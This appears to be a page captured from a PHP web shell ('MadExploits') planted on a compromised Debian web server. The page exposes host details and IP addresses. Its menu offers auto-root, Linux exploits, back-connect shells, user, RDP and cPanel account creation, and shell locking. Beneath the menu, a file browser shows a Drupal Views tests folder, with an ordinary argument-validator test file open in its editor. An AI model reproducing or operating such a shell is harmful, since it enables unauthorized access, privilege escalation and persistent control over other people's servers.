Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 52.15.113.71
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
views /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
comment
[ DIR ]
drwxr-xr-x
field
[ DIR ]
drwxr-xr-x
handlers
[ DIR ]
drwxr-xr-x
node
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
taxonomy
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
test_handlers
[ DIR ]
drwxr-xr-x
test_plugins
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
views_access.test
9.88
KB
-rw-r--r--
views_analyze.test
1.29
KB
-rw-r--r--
views_argument_default.test
5.33
KB
-rw-r--r--
views_argument_validator.test
4.41
KB
-rw-r--r--
views_basic.test
4.45
KB
-rw-r--r--
views_cache.test
9.45
KB
-rw-r--r--
views_cache.test.css
100
B
-rw-r--r--
views_cache.test.js
100
B
-rw-r--r--
views_exposed_form.test
7.75
KB
-rw-r--r--
views_glossary.test
1.4
KB
-rw-r--r--
views_groupby.test
14.15
KB
-rw-r--r--
views_handlers.test
5.61
KB
-rw-r--r--
views_module.test
9.18
KB
-rw-r--r--
views_pager.test
19.12
KB
-rw-r--r--
views_plugin_localization_test...
893
B
-rw-r--r--
views_query.test
12.12
KB
-rw-r--r--
views_test.info
263
B
-rw-r--r--
views_test.install
219
B
-rw-r--r--
views_test.module
3.03
KB
-rw-r--r--
views_test.views_default.inc
10.5
KB
-rw-r--r--
views_translatable.test
10.01
KB
-rw-r--r--
views_ui.test
38.55
KB
-rw-r--r--
views_upgrade.test
12.64
KB
-rw-r--r--
views_view.test
13.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : views_argument_validator.test
<?php /** * @file * Definition of ViewsArgumentValidatorTest. */ /** * Tests Views argument validators. */ class ViewsArgumentValidatorTest extends ViewsSqlTest { public static function getInfo() { return array( 'name' => 'Argument validator', 'group' => 'Views Plugins', 'description' => 'Test argument validator tests.', ); } function testArgumentValidatePhp() { $string = $this->randomName(); $view = $this->view_test_argument_validate_php($string); $view->set_display('default'); $view->pre_execute(); $view->init_handlers(); $this->assertTrue($view->argument['null']->validate_arg($string)); // Reset safed argument validation. $view->argument['null']->argument_validated = NULL; $this->assertFalse($view->argument['null']->validate_arg($this->randomName())); } function testArgumentValidateNumeric() { $view = $this->view_argument_validate_numeric(); $view->set_display('default'); $view->pre_execute(); $view->init_handlers(); $this->assertFalse($view->argument['null']->validate_arg($this->randomString())); // Reset safed argument validation. $view->argument['null']->argument_validated = NULL; $this->assertTrue($view->argument['null']->validate_arg(12)); } function view_test_argument_validate_php($string) { $code = 'return $argument == \''. $string .'\';'; $view = new view; $view->name = 'view_argument_validate_numeric'; $view->description = ''; $view->tag = ''; $view->view_php = ''; $view->base_table = 'node'; $view->is_cacheable = FALSE; $view->api_version = 2; $view->disabled = FALSE; /* Edit this to true to make a default view disabled initially */ /* Display: Master */ $handler = $view->new_display('default', 'Master', 'default'); $handler->display->display_options['access']['type'] = 'none'; $handler->display->display_options['cache']['type'] = 'none'; $handler->display->display_options['exposed_form']['type'] = 'basic'; $handler->display->display_options['pager']['type'] = 'full'; $handler->display->display_options['style_plugin'] = 'default'; $handler->display->display_options['row_plugin'] = 'fields'; /* Argument: Global: Null */ $handler->display->display_options['arguments']['null']['id'] = 'null'; $handler->display->display_options['arguments']['null']['table'] = 'views'; $handler->display->display_options['arguments']['null']['field'] = 'null'; $handler->display->display_options['arguments']['null']['style_plugin'] = 'default_summary'; $handler->display->display_options['arguments']['null']['default_argument_type'] = 'fixed'; $handler->display->display_options['arguments']['null']['validate_type'] = 'php'; $handler->display->display_options['arguments']['null']['validate_options']['code'] = $code; $handler->display->display_options['arguments']['null']['must_not_be'] = 0; return $view; } function view_argument_validate_numeric() { $view = new view; $view->name = 'view_argument_validate_numeric'; $view->description = ''; $view->tag = ''; $view->view_php = ''; $view->base_table = 'node'; $view->is_cacheable = FALSE; $view->api_version = 2; $view->disabled = FALSE; /* Edit this to true to make a default view disabled initially */ /* Display: Master */ $handler = $view->new_display('default', 'Master', 'default'); $handler->display->display_options['access']['type'] = 'none'; $handler->display->display_options['cache']['type'] = 'none'; $handler->display->display_options['exposed_form']['type'] = 'basic'; $handler->display->display_options['pager']['type'] = 'full'; $handler->display->display_options['style_plugin'] = 'default'; $handler->display->display_options['row_plugin'] = 'fields'; /* Argument: Global: Null */ $handler->display->display_options['arguments']['null']['id'] = 'null'; $handler->display->display_options['arguments']['null']['table'] = 'views'; $handler->display->display_options['arguments']['null']['field'] = 'null'; $handler->display->display_options['arguments']['null']['style_plugin'] = 'default_summary'; $handler->display->display_options['arguments']['null']['default_argument_type'] = 'fixed'; $handler->display->display_options['arguments']['null']['validate_type'] = 'numeric'; $handler->display->display_options['arguments']['null']['must_not_be'] = 0; return $view; } }
Close